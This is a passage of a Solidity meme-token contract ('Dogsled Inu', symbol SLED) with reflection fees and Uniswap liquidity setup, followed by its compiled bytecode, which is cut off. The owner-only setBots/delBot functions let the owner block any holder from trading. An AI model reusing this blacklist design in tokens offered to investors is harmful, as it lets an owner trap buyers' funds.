IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f446f67736c656420496e75000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b39092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612373565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f534c454400000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f2565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127dc90919063ffffffff16565b61286290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfe6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d926025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb16023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d696029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f057601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8557601454811115611ed757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120305750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120865750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209e5750601360179054906101000a900460ff165b156121365742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ee57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214130610ae2565b9050601360159054906101000a900460ff161580156121ae5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c65750601360169054906101000a900460ff165b156121ee576121d4816124f2565b600047905060008111156121ec576121eb47612373565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a157600090505b6122ad848484846128ac565b50505050565b6000838311158290612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232557808201518184015260208101905061230a565b50505050905090810190601f1680156123525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c360028461286290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ee573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243f60028461286290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246a573d6000803e3d6000fd5b5050565b6000600a548211156124cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd4602a913960400191505060405180910390fd5b60006124d5612b03565b90506124ea818461286290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252757600080fd5b506040519080825280602002602001820160405280156125565781602001602082028036833780820191505090505b509050308160008151811061256757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b81019080805190602001909291905050508160018151811061265157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277c578082015181840152602081019050612761565b505050509050019650505050505050600060405180830381600087803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ef576000905061285c565b600082840290508284828161280057fe5b0414612857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d206021913960400191505060405180910390fd5b809150505b92915050565b60006128a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2e565b905092915050565b806128ba576128b9612bf4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129725761296d848484612c37565b612aef565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a155750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2a57612a25848484612e97565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae157612adc8484846130f7565b612aed565b612aec8484846133ec565b5b5b5b80612afd57612afc6135b7565b5b50505050565b6000806000612b106135cb565b91509150612b27818361286290919063ffffffff16565b9250505090565b60008083118290612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9f578082015181840152602081019050612b84565b50505050905090810190601f168015612bcc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be657fe5b049050809150509392505050565b6000600c54148015612c0857506000600d54145b15612c1257612c35565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4987613878565b955095509550955095509550612ca787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1d816139b2565b612e278483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea987613878565b955095509550955095509550612f0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307d816139b2565b6130878483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310987613878565b95509550955095509550955061316787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613372816139b2565b61337c8483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fe87613878565b95509550955095509550955061345c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff